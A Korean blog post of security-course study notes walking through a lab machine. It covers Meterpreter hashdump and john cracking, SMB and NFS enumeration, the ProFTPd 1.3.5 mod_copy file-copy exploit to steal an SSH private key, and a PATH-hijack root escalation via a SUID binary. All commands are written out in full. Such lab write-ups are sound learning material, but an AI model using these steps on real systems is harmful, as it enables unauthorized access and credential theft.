Red Team/My 프로젝트

정보보안 스터디 - 25주차 4일 - 윈도우 OS, SMB 취약점 task

wonder12 2023. 4. 3. 00:36

 

 

 

 

윈도우 OS 환경일 경우

기존의 reverse_shell은 background로 빠져나오고

그 외에 shell_to_meterpreter로 meterpreter를 생성합니다.

그다음 meterpreter에서 자체적으로 hashdump를 제공하기 때문에 사용자의 shadow같은 hash패스워드를 가져올 수 있습니다. 

 

보통 리눅스는 hash format이 $5,6 등으로 잘 알려져있는데 

윈도우는 LM 또는 NT입니다.

따라서

john --format=NT /usr/share/john/password.lst(기본) ./hashdump.txt

등으로 간단한 비밀번호 평문을 얻습니다.

 

 

 

 

 

Samba는 파일이나 프린트를 네트워킹으로 공유할 때 

139(옛날), 445 포트를 사용합니다.

nmap 을 통해서 host기준으로 어떤 파일들이 공유되어있는지 enumerating이 가능합니다.

 

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse MACHINE_IP

 

프린터, 파일 등이 공유되고 있는 것을 볼 수 있습니다.

 

 

 

smbclient //10.10.133.158/anonymous

smbclient가 기본적으로 깔려있고, anonymous계정으로 들어갈 수 있게 되어있습니다. 

 

ftp 처럼 anon에게 공유되는 파일이 있고

log.txt를 얻을 수 있습니다.

 

smbget -R smb://10.10.133.158/anonymous

이 때 디렉토리 안에 있는 파일들 다 받아오기 위해서 recursivly 재귀적 다운로드를 합니다.

 

 

log.txt를 열어보니 SSH 키 생성할 때 (어디에 저장됐는지) 로그와

ProFTP 서버의 배너 그래빙 정보를 얻었습니다.

 

 

111 포트는 rpcbind가 구동되고있고

원격으로 네트워크 파일 시스템에 연결하는 서비스입니다.

 

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP

 

확인해보면 /var볼륨이 연결되어있고 안의 파일들까지 보입니다. 

 

 

proFTPd 1.3.5 버전은 mod_copy 이 취약하기 때문에 해당 모듈을 사용합니다.  

nc로도 FTP연결이 가능합니다.

배너를 보고 

SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

SITE CPFR , SITE CPTO를 사용하면 루트에 있든 어디있든 파일을 복사해서 원하는 목적지에 복사시키는 것이 가능합니다.

따라서 rsa private 키를 /var에 복사해서 해당 키로 접속을 시도해봐야합니다.

 

anonymous로 획득하는 건 어짜피 경로 제한되어있으니 안되고

111 rpcbind 파일 시스템 /var  확인말고

그냥 mount 볼륨을 연결해버리면 됩니다.

 

mkdir /mnt/kenobiNFS
mount 10.10.133.158:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

읽기 권한밖에 없기 때문에 수정은 안되지만 cp 로 가져와서 사용할 수 있습니다.

 

 

ssh [ip] -i [keypath] -l kenobi

root 로는 접속이 안되고(패스워드 써야됨) 계정으로 접속이 가능합니다.

이 때 키 파일 권한은 다른 유저도 읽을 수 있는 public이면 안됩니다. 그냥  700 으로 고칩니다.

 

 

 

그 다음 권한 상승을 노립니다.

 

menu라는 바이너리가 SUID 로 수상합니다.

 

menu 바이너리는 

상태워, 커널버전, ifconfig 을 보여줍니다.

 

 

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

근데 이 때 PATH curl 을 찾도록 export해주면 curl파일을 즉 쉘을 실행하게 됩니다.

 

따라서 권한상승이 가능하죠.

 

 

 

 

 

 

 

++)참고로

who, w > ps -ft > kill tty 

실행중인 tmux 패널이 렉먹었다면 tty를 죽일 수 있습니다.

 

kali에 기본탑재된 whois는 43번 포트로 DNS query를 WHOIS 서버에 묻습니다.

dig [ip] @1.1.1.1 dns cloudflare

DNS 서버 바꿔서 query할 수 있습니다.

 

 

 

++)참고로

openVPN은 wireshark로 패킷을 캡쳐해봤을 때 내용을 확인하기 어렵습니다.

10.4.17.200 - 10.0.2.15 (외부)-------(openVPN:3.104.196.208)------ 10.10.52.186

openvpn(protocol 1194번)
ping을 보내든 뭘하든 VPN을 거치기 때문에 내용은 안보입니다.